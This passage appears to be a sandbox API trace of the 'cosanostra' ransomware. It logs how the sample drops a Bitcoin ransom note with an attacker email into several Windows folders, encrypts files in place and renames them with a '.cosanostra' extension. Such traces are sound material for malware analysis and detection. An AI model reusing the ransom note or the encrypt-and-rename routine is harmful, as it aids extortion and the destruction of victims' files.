lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfdf4, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfdf4*=0x2ac, lpOverlapped=0x0) returned 1 [0079.343] CloseHandle (hObject=0x134) returned 1 [0079.343] CreateFileW (lpFileName="\\\\?\\C:\\PerfLogs\\Admin\\#RECOVERY_FILES#.txt" (normalized: "c:\\perflogs\\admin\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0079.344] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0079.344] WriteFile (in: hFile=0x134, lpBuffer=0x28dfc2f*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfdf0, lpOverlapped=0x0 | out: lpBuffer=0x28dfc2f*, lpNumberOfBytesWritten=0x28dfdf0*=0x1bf, lpOverlapped=0x0) returned 1 [0079.345] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0079.345] WriteFile (in: hFile=0x134, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfdf0, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfdf0*=0x2ac, lpOverlapped=0x0) returned 1 [0079.345] CloseHandle (hObject=0x134) returned 1 [0079.345] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfd90 | out: pbBuffer=0x28dfd90) returned 1 [0079.345] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28dfd88*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28dfd88*=0x30) returned 1 [0079.345] CreateFileW (lpFileName="\\\\?\\C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0079.345] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\#RECOVERY_FILES#.txt" (normalized: "c:\\msocache\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0079.346] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0079.346] WriteFile (in: hFile=0x134, lpBuffer=0x28dfc27*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfde8, lpOverlapped=0x0 | out: lpBuffer=0x28dfc27*, lpNumberOfBytesWritten=0x28dfde8*=0x1bf, lpOverlapped=0x0) returned 1 [0079.347] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0079.347] WriteFile (in: hFile=0x134, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfde8, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfde8*=0x2ac, lpOverlapped=0x0) returned 1 [0079.347] CloseHandle (hObject=0x134) returned 1 [0079.347] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\#RECOVERY_FILES#.txt" (normalized: "c:\\msocache\\all users\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0079.347] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0079.347] WriteFile (in: hFile=0x134, lpBuffer=0x28dfc23*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfde4, lpOverlapped=0x0 | out: lpBuffer=0x28dfc23*, lpNumberOfBytesWritten=0x28dfde4*=0x1bf, lpOverlapped=0x0) returned 1 [0079.348] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0079.348] WriteFile (in: hFile=0x134, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfde4, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfde4*=0x2ac, lpOverlapped=0x0) returned 1 [0079.348] CloseHandle (hObject=0x134) returned 1 [0079.349] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0079.350] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0079.350] WriteFile (in: hFile=0x134, lpBuffer=0x28dfc1f*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfde0, lpOverlapped=0x0 | out: lpBuffer=0x28dfc1f*, lpNumberOfBytesWritten=0x28dfde0*=0x1bf, lpOverlapped=0x0) returned 1 [0079.351] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0079.351] WriteFile (in: hFile=0x134, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfde0, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfde0*=0x2ac, lpOverlapped=0x0) returned 1 [0079.351] CloseHandle (hObject=0x134) returned 1 [0079.351] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfd80 | out: pbBuffer=0x28dfd80) returned 1 [0079.352] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28dfd78*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28dfd78*=0x30) returned 1 [0079.352] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0079.355] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 79 [0079.355] StrStrW (lpFirst="VisiorWW.xml", lpSrch=".txt") returned 0x0 [0079.355] ReadFile (in: hFile=0x134, lpBuffer=0x2b1078, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x2b1078*, lpNumberOfBytesRead=0x28dfd3c*=0x2213, lpOverlapped=0x0) returned 1 [0079.451] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffdded, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.451] WriteFile (in: hFile=0x134, lpBuffer=0x2b1078*, nNumberOfBytesToWrite=0x2213, lpNumberOfBytesWritten=0x28dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x2b1078*, lpNumberOfBytesWritten=0x28dfd3c*=0x2213, lpOverlapped=0x0) returned 1 [0079.451] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.451] WriteFile (in: hFile=0x134, lpBuffer=0x28dfd7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x28dfd7c*, lpNumberOfBytesWritten=0x28dfd3c*=0x4, lpOverlapped=0x0) returned 1 [0079.451] WriteFile (in: hFile=0x134, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x28dfd3c*=0x30, lpOverlapped=0x0) returned 1 [0079.451] CloseHandle (hObject=0x134) returned 1 [0079.452] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.cosanostra") returned 90 [0079.452] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.cosanostra")) returned 1 [0079.452] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfd78 | out: pbBuffer=0x28dfd78) returned 1 [0079.453] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28dfd70*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28dfd70*=0x30) returned 1 [0079.453] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0079.453] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 79 [0079.453] StrStrW (lpFirst="VisiorWW.cab", lpSrch=".txt") returned 0x0 [0079.453] ReadFile (in: hFile=0x134, lpBuffer=0x282078, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfd34, lpOverlapped=0x0 | out: lpBuffer=0x282078*, lpNumberOfBytesRead=0x28dfd34*=0x2800, lpOverlapped=0x0) returned 1 [0079.552] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.552] WriteFile (in: hFile=0x134, lpBuffer=0x282078*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28dfd34, lpOverlapped=0x0 | out: lpBuffer=0x282078*, lpNumberOfBytesWritten=0x28dfd34*=0x2800, lpOverlapped=0x0) returned 1 [0079.552] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.552] WriteFile (in: hFile=0x134, lpBuffer=0x28dfd74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfd34, lpOverlapped=0x0 | out: lpBuffer=0x28dfd74*, lpNumberOfBytesWritten=0x28dfd34*=0x4, lpOverlapped=0x0) returned 1 [0079.825] WriteFile (in: hFile=0x134, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfd34, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x28dfd34*=0x30, lpOverlapped=0x0) returned 1 [0079.825] CloseHandle (hObject=0x134) returned 1 [0081.058] wnsprintfW (in: pszDest=0x2ae1b0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.cosanostra") returned 90 [0081.058] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.cosanostra")) returned 1 [0081.059] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0081.059] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.059] WriteFile (in: hFile=0x134, lpBuffer=0x28dfc13*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfdd4, lpOverlapped=0x0 | out: lpBuffer=0x28dfc13*, lpNumberOfBytesWritten=0x28dfdd4*=0x1bf, lpOverlapped=0x0) returned 1 [0081.060] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.060] WriteFile (in: hFile=0x134, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfdd4, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfdd4*=0x2ac, lpOverlapped=0x0) returned 1 [0081.060] CloseHandle (hObject=0x134) returned 1 [0081.060] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfd70 | out: pbBuffer=0x28dfd70) returned 1 [0081.060] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28dfd68*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28dfd68*=0x30) returned 1 [0081.060] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\xlslicer.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0081.061] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll") returned 72 [0081.061] StrStrW (lpFirst="XLSLICER.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0081.061] ReadFile (in: hFile=0x134, lpBuffer=0x2ae1b0, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfd2c, lpOverlapped=0x0 | out: lpBuffer=0x2ae1b0*, lpNumberOfBytesRead=0x28dfd2c*=0x2800, lpOverlapped=0x0) returned 1 [0081.128] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.128] WriteFile (in: hFile=0x134, lpBuffer=0x2ae1b0*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28dfd2c, lpOverlapped=0x0 | out: lpBuffer=0x2ae1b0*, lpNumberOfBytesWritten=0x28dfd2c*=0x2800, lpOverlapped=0x0) returned 1 [0081.128] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.128] WriteFile (in: hFile=0x134, lpBuffer=0x28dfd6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfd2c, lpOverlapped=0x0 | out: lpBuffer=0x28dfd6c*, lpNumberOfBytesWritten=0x28dfd2c*=0x4, lpOverlapped=0x0) returned 1 [0081.246] WriteFile (in: hFile=0x134, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfd2c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x28dfd2c*=0x30, lpOverlapped=0x0) returned 1 [0081.246] CloseHandle (hObject=0x134) returned 1 [0081.246] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll.cosanostra") returned 83 [0081.247] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\xlslicer.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll.cosanostra" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\xlslicer.dll.trx_dll.cosanostra")) returned 1 [0081.247] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Temp\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0081.329] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.329] WriteFile (in: hFile=0x134, lpBuffer=0x28dfc0b*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfdcc, lpOverlapped=0x0 | out: lpBuffer=0x28dfc0b*, lpNumberOfBytesWritten=0x28dfdcc*=0x1bf, lpOverlapped=0x0) returned 1 [0081.330] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.330] WriteFile (in: hFile=0x134, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfdcc, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfdcc*=0x2ac, lpOverlapped=0x0) returned 1 [0081.331] CloseHandle (hObject=0x134) returned 1 [0081.331] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\vault\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0081.331] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.331] WriteFile (in: hFile=0x134, lpBuffer=0x28dfc07*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfdc8, lpOverlapped=0x0 | out: lpBuffer=0x28dfc07*, lpNumberOfBytesWritten=0x28dfdc8*=0x1bf, lpOverlapped=0x0) returned 1 [0081.332] lstrlenA 